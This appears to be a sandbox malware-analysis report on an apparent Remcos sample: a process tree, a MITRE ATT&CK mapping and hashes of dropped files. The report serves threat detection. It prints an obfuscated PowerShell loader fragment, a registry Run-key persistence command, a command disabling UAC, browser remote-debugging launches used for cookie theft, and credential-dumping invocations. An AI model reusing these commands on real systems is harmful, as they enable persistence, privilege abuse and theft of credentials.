Kvl$u,orRVeinAT.ltASmokK,vioOPampsBjrgtRe.eJTerrEAnpaRD.scNReor.PlesCMegroroc USk snRystt Klu ') ;$Misbelieving=$Raakostjern[$Coenzymatic];}$Sympathique=315454;$Rhatanies=31106;Bstrup (Feltprovsts ' ugl$ SubgdlvyLCameo Un,bKnudaFjorLChef:MellkSmedy Ya,s Snut MonkUne lA phIMonomSmdeaMyose Mart m s riv=Bear d rigSoveeb dgtPres-RehnCHystoT arnS urTNongELiseNUdk,t ele Ineb$RugkKOxyaN Lsei Mo rPortKIso,E F.nrPhociAntiEUn.lr ,it ');Bstrup (Feltprovsts 'Brsr$ Forg estlKostoI dsbInfiaprocl,art: IradMilie blid FejiJordkCh na AdetSik,iColuo ThenEucgs GraeSyerk Brns.teleRaadmSamspDrejlCo.raS nor edaeCigardialnElekeAssesV nv Refu=Allo Mill[vrleSMi,iyUnlisIndatTr.pe Svim K s.OeilCKalkoSuggnA.stvHeaveTag rVaretSina] Ene: ro:Ko.mF Indr oxpoShotmForaB nda vrssa ieSk.t6S ri4Hg,pSov rtIdiorBookiOchfnOut gTriv(Rebr$Ci iKHypey aftsdiskt .ackEleklUdtri mkkmSulka Supe ,ectTorb)Enef ');Bstrup (Feltprovsts 'Vurd$SkivGFgtnL copOPre BsexoAOrculMa,d:DesoVVitiI nsuc MinEr weL .coIsta KskeeEGe,z Impu=.ext regg[Antis snYMuttsPo eTNymaeGaapM iru.TuritPoole lnsxsyslt ong.Kbe e NewnPrelCKoraO TraD ReciU stN Gc Gblte]Kern:Tote: Vsea.ncosB whCUnoiiBenwiCirc. Mi GMandeRdhat afbsBoucT,rapRSa vit aaNUdleGByeg(,uto$ S ld komeC,amDOverIOchoK kriATrocT nhIEnhaOPeriNFlansskrue IarKRdbrsFe tECo.eMi teptrapL T.oARungrDataeLabbrDropN PneeSupesProd)Reco ');Bstrup (Feltprovsts 'Red.$MetrgSvu lTeglOStatbunc.a LaslB,rd: bedpP etoQuadt ChoeK.rasRegit quaA efrTRec E Mis=Frer$UnduVKargITvisC TveE linl ArbIM ndKKlasE lf. .crSFoulUEm,rbUn,eStoaktBeguRstiniTurrnBor GBaro( ith$Begys ,xpYMar,MSoegPF.rsAKonttStavHMumliAgilq Kemu IndESm,s, ,il$ M,trWageH ,taaSlovtb,bbaCatiN ildiEromEGa.oSUnu )Cupo ');Bstrup $Potestate;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\Software\Upholstering\').Playscript;%Stephanurus% ($Optagelseskravets)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3952
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Stephanurus% -windowstyle 1 $Optagelseskravets=(gp -Path 'HKCU:\Software\Upholstering\').Playscript;%Stephanurus% ($Optagelseskravets)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3428
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2264
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffccbd0cc40,0x7ffccbd0cc4c,0x7ffccbd0cc58
      4⤵
      PID:1480
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1944 /prefetch:2
      4⤵
      PID:3508
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2176,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2228 /prefetch:3
      4⤵
      PID:2004
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2280,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2232 /prefetch:8
      4⤵
      PID:3924
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3200 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1908
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4372
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4656,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4608 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4600
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4808,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4820 /prefetch:8
      4⤵
      PID:1748
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4792,i,12444728726901752781,5318151646804848788,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4768 /prefetch:8
      4⤵
      PID:4500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\rahzsp"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4304
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ccuksiole"
    3⤵
    PID:392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ccuksiole"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4396
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ewzctaznsajl"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:4344
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffccbbc46f8,0x7ffccbbc4708,0x7ffccbbc4718
      4⤵
      PID:1260
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
      4⤵
      PID:3112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
      4⤵
      PID:4900
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1344 /prefetch:8
      4⤵
      PID:1688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5324 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4460
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,2220160677143616970,2434821052618633997,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3276

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4120

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4956

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 5c4c7f94655d33cbb6a753af52d765899fa8fc1b623a95f8ff11b27a808d6790
MD5 2154265b40b43238027b99b3c07762f7
SHA1 cae3ba67e3c17960a89470a89caecdae5160006f
SHA512 1f2c18f9fd97021bd976e10504af94b915a6d3d000283c89dc226bdef490f33dd807fb018d286761908c1c890c6b01be91c7bd163e92cc567e5f8ec336d5e017
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9
MD5 71444def27770d9071039d005d0323b7
SHA1 cef8654e95495786ac9347494f4417819373427e
SHA512 a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat
Size 40B
SHA256 e642089befec9fc06c6c8e2bb34e85b321c4095146457b442de4faf231d4d528
MD5 73af8683ff7b3f21d13750a6f531ff1e
SHA1 4e55a4e5eb9c1cf5656515fa19f0a63fa1766c42
SHA512 7562f221ef03c5df34e8a919bfa2f0ac98c27f6712761358a9d92c846478b8252fd4480c62501066570d857423a82175dcd44a3f9a597f1cfee12df391ae2042
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat
Size 152B
SHA256 e8ae20e7ccb426821a1ec8b71cb41ef8561ead7f0ed093ef4ecdabc66def36c5
MD5 85280129a078d040a2c941b2515e44c7
SHA1 12cd850bf394eda0ae38eacfc27f387d92532717
SHA512 80029d494e925cfa264fed68259681420501d4b9c673331e076f19077979f47e86737fe33b8a981c1c0d02eb6bacacc502a723a33e3b1191858e00acb1718b0b
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat
Size 152B
SHA256 6ba46442e0a461fce5cf2226c7295cede693a023c2ccce2f460e0acf55f576d6
MD5 aa128e9b48afac98db57e2a171d263be
SHA1 f843e97efbe0f79d9474c0ccb4c1b522443e541a
SHA512 4e8bb3ec63bc2409deee58cee94b0ca08dd514d9679fedc59a0cf50347923394018a687528662aab704dd4188d8ee7e9515b2104e6b6fa2b37c64e6b742ae8d2
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat
Size 152B
SHA256 8e5b21d44b4d6770d31b76c15d6d1441321bb0707fdc7adef0f086132bf34898
MD5 6fa7676eb05d616c88f7cc5f894c8929
SHA1 23787ccbec20db15b0d3b6a3134c493a696c8f96
SHA512 a8e5cd7d2e98529e29762a8fd51fbf679fbe5ae86b773f42698195cecbe9d86e020b27b02ba31ab99e2ff7f22f57a37c65e197a56d30b5e756bd1ace242b017f
MD5 SHA1 SHA512

Submit Download

throttle_store.dat

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat
Size 20B
SHA256 41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304
MD5 9e4e94633b73f4a7680240a0ffd6cd2c
SHA1 e68e02453ce22736169a56fdb59043d33668368f
SHA512 193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index
Size 48B
SHA256 1e6d30f914f8b66870d70079c112f1a6c98c022917a26622162137aec180a541
MD5 7db0c6beafde64a0f37bb6f543c23511
SHA1 7fc9606200dca8871252accdc9775bba38f3c73e
SHA512 96131c23c4f5b9dea9e5c40fba6388551e0d0d4b8261a4b5c9db93a4e4f35bcf90ccc42c76e8ea762eec2212e98775990d5c0109eee8b51432a654ac7dd28139
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\wasm\index-dir\the-real-index
Size 48B
SHA256 61ae88acf6bda0bf91f9487245b448f58dc42f9e302bbff035123299ba100bc0
MD5 48d845e9f7c933edf5f7e0167f913942
SHA1 a475d150ea7513a844cb6672b5a1462730b91bde
SHA512 6be3a85cc6bddc652bde2e155bee2a9c528ed34bdd5d4ce872a9d0716f1f380bb09118b9177999897f5bd285eb0a53d5b7d48fed0baf11b36c95243d52925b34
MD5 SHA1 SHA512

Submit Download

Favicons

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons
Size 20KB
SHA256 2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4
MD5 b40e1be3d7543b6678720c3aeaf3dec3
SHA1 7758593d371b07423ba7cb84f99ebe3416624f56
SHA512 fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16
SSDEEP 24:LLiXxh0GY/l1rWR1PmCx9fZjsBX+T6UwcE85fBmI:iBmw6fU1zBmI
MD5 SHA1 SHA512 SSDEEP

Submit Download

index

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index
Size 256KB
SHA256 354e262559d135ce80a57f963d7b9a01fb15c7ccd95dfa2f36aebc2bb2799a49
MD5 809a07a8547af7a17709ba99d454c3d3
SHA1 582cf5fb1c10d3c41b686cd946b390c5ecfbbb68
SHA512 18480e73bdefa59915582f853c539e4bb449d6169177de7fc76546e6cc256009f444fa17b8f475b75e140fd0b68cce414b48676524d05ce22199b4dda53980d9
SSDEEP 3:LstlNllkll/ltGhKl/:LsX3lEt
MD5 SHA1 SHA512 SSDEEP

Submit Download

History

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History
Size 192KB
SHA256 25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907
MD5 d30bfa66491904286f1907f46212dd72
SHA1 9f56e96a6da2294512897ea2ea76953a70012564
SHA512 44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237
SSDEEP 96:ZBY/uejzH+bF+UIYysX0fxQp97jEHt/DfLcLq3VgNvpiRk/E0:ZBY/tH+bF+UI3iWGVjWNkq3Vg+3
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG
Size 275B
SHA256 91967cc1cbe0d9c5752e2d0022d56cb9510080d76f659308dccd8faa55b51d64
MD5 1879bc055974ffe61f6743d0d99717cb
SHA1 5c192a9167e00dcc48203ea20fada7482c0430f4
SHA512 12c088b78150f8d01d9be0b8fc9eb99f7ed45d3cbf3bcbe91538cac83d6aea93f3fbb93926d5e639a481fde38063802b8b3482e3fe9ab1857c9b5b26ca6d544d
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data
Size 40KB
SHA256 42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
MD5 a182561a527f929489bf4b8f74f65cd7
SHA1 8cd6866594759711ea1836e86a5b7ca64ee8911f
SHA512 9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558
SSDEEP 48:2DcnBA+IIBoCVEq8Ma0D0HOlf/6ykwpLf/EUwMHZq10bvJKLkw8s8LKvUf9KVyJJ:uSQCn8MouB6w9f/8iZqmvJKLPeymwil
MD5 SHA1 SHA512 SSDEEP

Submit Download

Microsoft Edge.lnk

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk
Size 1KB
SHA256 204caf436c3112e58310c47278cf44a3ac1d440a711b3a4900ca41e5953d0fdc
MD5 e39f1891ef766a9935c066d51c9c8dce
SHA1 0509e4e28c0c1bc1a0895abd671c1d7b2a90c3fd
SHA512 94c86beaf37af4a9f9b607e4779871ec1efb338c67b8b805ae94240737a7b50a62c06539e872b6baad43502e80b74a56b2575fd14905394bbe998c75d2efb6b9
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies
Size 20KB
SHA256 1fee4bffd5f3826c2ed1383f52bd75d3d574bd7e898579aa07e91e4a7bc5768f
MD5 a850ba19af59e9d19f8ea2be7ccba49b
SHA1 064f581231d47fc74d66d5f95e4ca5cf4cd3d556
SHA512 6a36bf3519f58f062db36dc91d3279b39105020b5513c12a75482163bf936501d9d948f0a83cf1e188005acd57e70dd6a7bbfca6241ad4edf5cfed8e06c33b92
SSDEEP 24:TL4P1kwIrnLbXYFpFNYd+6UwcQ8ri5fBodCLmpy2d2Hxj:T8PawkLLopFsU1+Bo74G25
MD5 SHA1 SHA512 SSDEEP

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences
Size 1KB
SHA256 292c54382483f19e3d6b68359299d9fb2a328d4545085dd1d0fe01fddb48eeba
MD5 5386b112fa0b22a45f72028ce295ee8b
SHA1 d3d2e5eed63f1a936bef8f91fd5cd7d428d97152
SHA512 3f1fb663e1e7c04dc417f0c65db6de30acc3706f1a45c640fde8e64978db7a0229ed624f07914b6e25ced7a5a44145243036c4949a5f367e66969bf70d909819
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences
Size 5KB
SHA256 6e32a8486cd406ba660a6d8d0bce635aee01273d90ace848e3a59934c5ea718f
MD5 0ac0a333432392c70bee2360ec952b21
SHA1 a0c0799a8e99d21a1fda61639f14ef0ef38d8378
SHA512 99a74e0f054f20ee24b936e20833f5c50378956c8dd67cf3127c29d4afe4651ab5a3e30e3bff5ab45211d9bbcff9f1c813734aa703c93cb6330b6c7ffa32a83c
SSDEEP 96:nU++THw1atL/w4vWMoiVmdeHyWD5OxQyV+VDCAia:nU+SQwF/TWMXX5Oze
MD5 SHA1 SHA512 SSDEEP

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences
Size 24KB
SHA256 ef5bacdc32263d63240194ea3cdf60c69dffb9544e0d59730d35fcf5d89fd6d8
MD5 fb9b644175d9cb9412afa02e5162aa36
SHA1 549e99099f845f414e650dc71c41a2165b29f64a
